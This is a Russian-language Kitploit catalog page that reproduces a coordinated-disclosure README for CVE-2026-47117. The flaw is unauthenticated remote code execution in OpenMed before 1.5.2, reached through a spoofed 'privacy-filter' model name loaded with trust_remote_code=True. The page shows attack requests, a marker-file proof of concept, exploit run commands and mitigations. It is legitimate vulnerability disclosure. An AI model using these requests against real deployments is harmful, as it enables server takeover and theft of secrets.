Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 — неаутентифицированное RCE через загрузку модели privacy-фильтра PII и trust_remote_code=True | Kitploit
Инструменты/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеБезопасность ИИ
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 — неаутентифицированное RCE через загрузку модели privacy-фильтра PII и trust_remote_code=True

Репозиторий
1711 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-47117: Неаутентифицированное удалённое выполнение кода в OpenMed через загрузку PII-модели

Критичность: Критическая, CVSS 4.0 9.3, CVSS 3.1 9.8 (присвоено VulnCheck, CNA)

Вектор (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Вектор (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Затронуто: OpenMed < 1.5.2

Исправлено в: 1.5.2

CWE: CWE-94 (Некорректный контроль генерации кода, инъекция кода)

Обнаружено и сообщено: Sai Teja Erukude

Опубликовано: 2 июня 2026 г.


Краткое описание

OpenMed до версии 1.5.2 содержит уязвимость неаутентифицированного удалённого выполнения кода в пути загрузки модели PII privacy-filter.

Конечные точки REST API POST /pii/extract и POST /pii/deidentify принимают значение model_name из тела запроса. В уязвимых версиях диспетчер privacy-filter использовал широкое сопоставление по подстроке для этого контролируемого атакующим значения. Поэтому имя модели, например attacker/foo-privacy-filter-bar, могло направляться в бэкенд privacy-filter.

В развёртываниях без MLX/Torch этот бэкенд загружал артефакты модели Hugging Face через Transformers с trust_remote_code=True. Если контролируемый атакующим репозиторий модели содержал пользовательский код Transformers, на который ссылается auto_map в config.json или tokenizer_config.json, Transformers импортировал и выполнял этот код Python во время загрузки модели или токенизатора.

Импортированный код выполнялся с привилегиями процесса службы OpenMed.

Воздействие

Неаутентифицированный удалённый атакующий, имеющий доступ к REST API OpenMed, может выполнить произвольный код Python на сервере, указав в model_name вредоносный идентификатор модели в стиле Hugging Face.

В зависимости от развёртывания службы это может позволить:

  • Читать или изменять файлы, доступные процессу OpenMed.
  • Получать доступ к переменным окружения и секретам приложения.
  • Вызывать внутренние службы, доступные с хоста OpenMed.
  • Нарушать или заменять поведение приложения.

Затронутые конечные точки

Проблема достижима через обе конечные точки PII, поскольку обе принимают model_name и используют один и тот же путь извлечения PII/загрузки модели:

POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

Технические детали

Уязвимый поток управления содержит два отказа на границе доверия:

  1. API доверял предоставленному пользователем model_name при выборе бэкенда privacy-фильтра.
  2. Выбранный бэкенд доверял коду удалённого репозитория модели, загружая артефакты Transformers с trust_remote_code=True.

Диспетчер рассматривал любой идентификатор модели, содержащий privacy-filter, как часть семейства privacy-фильтров. Это позволяло контролируемым злоумышленником идентификаторам, например attacker/foo-privacy-filter-bar, достигать пути кода, предназначенного для доверенных первосторонних моделей Privacy Filter.

После маршрутизации туда Transformers мог загрузить контролируемый злоумышленником пользовательский код через auto_map. Этот импорт происходит во время загрузки модели/токенизатора, до того как какое-либо полезное инференс-вычисление должно успешно завершиться. Поэтому доказательство концепции может быть настолько малым, как:

from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

Доказательство концепции

poc_exploit.py создаёт безвредный локальный каталог модели в стиле Hugging Face, имя которого содержит privacy-filter. Сгенерированные пользовательские модули Transformers записывают файл-маркер при импорте. Затем скрипт отправляет запрос к тестовому экземпляру OpenMed API, указывая этот каталог в качестве model_name.

Ожидаемое поведение на уязвимых версиях OpenMed:

  1. API принимает контролируемый злоумышленником model_name.
  2. Маршрутизация по подстроке направляет его в бэкенд privacy-filter.
  3. Transformers импортирует сгенерированный пользовательский модуль, поскольку trust_remote_code=True.
  4. Создаётся файл-маркер, что доказывает выполнение кода в процессе сервиса OpenMed.
  5. После этого запрос может завершиться ошибкой, поскольку игрушечная модель не является настоящей моделью Privacy Filter; маркер, созданный во время импорта, и есть соответствующее доказательство.

Запускайте только против локального тестового экземпляра:

pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

Если сервис OpenMed работает в среде, не имеющей доступа к созданному локальному каталогу, опубликуйте эквивалентную тестовую модель в контролируемом репозитории Hugging Face и явно передайте этот идентификатор:

python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

Устранение

Обновитесь до OpenMed 1.5.2 или более поздней версии.

OpenMed 1.5.2 разделяет маршрутизацию и доверие:

  • Произвольные имена репозиториев, содержащие privacy-filter, больше не маршрутизируются через доверенный путь privacy-filter.
  • PrivacyFilterTorchPipeline по умолчанию устанавливает trust_remote_code в False.
  • Только явные собственные репозитории Privacy Filter внесены в белый список для доверенной загрузки удалённого кода.
  • Операторы, которым нужны контролируемые приватные дообученные модели, могут внести их в белый список с помощью OPENMED_TRUSTED_REMOTE_CODE_MODELS.

Если немедленное обновление невозможно:

  • Не предоставляйте уязвимый REST API недоверенным клиентам.
  • Не передавайте контролируемые пользователем значения model_name в Transformers с trust_remote_code=True.
  • Замените маршрутизацию моделей на основе подстрок на точные доверенные идентификаторы моделей.
  • Предварительно загружайте одобренные локальные артефакты моделей в производственной среде и отключите произвольную загрузку моделей.

Хронология раскрытия

ДатаСобытие
18 мая 2026 г.Уязвимость отправлена в VulnCheck
20 мая 2026 г.VulnCheck инициировал скоординированное раскрытие
22 мая 2026 г.CVE-2026-47117 предварительно присвоен
1 июня 2026 г.Исправление в OpenMed 1.5.2 проверено и подтверждено
2 июня 2026 г.CVE-2026-47117 опубликован

Благодарность

Обнаружено и сообщено Sai Teja Erukude.

Раскрытие координировалось через VulnCheck.

Ссылки

  • Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • Рекомендация VulnCheck: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • Примечания к выпуску OpenMed 1.5.2: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • Проект OpenMed: https://github.com/maziyarpanahi/openmed
Скачать инструмент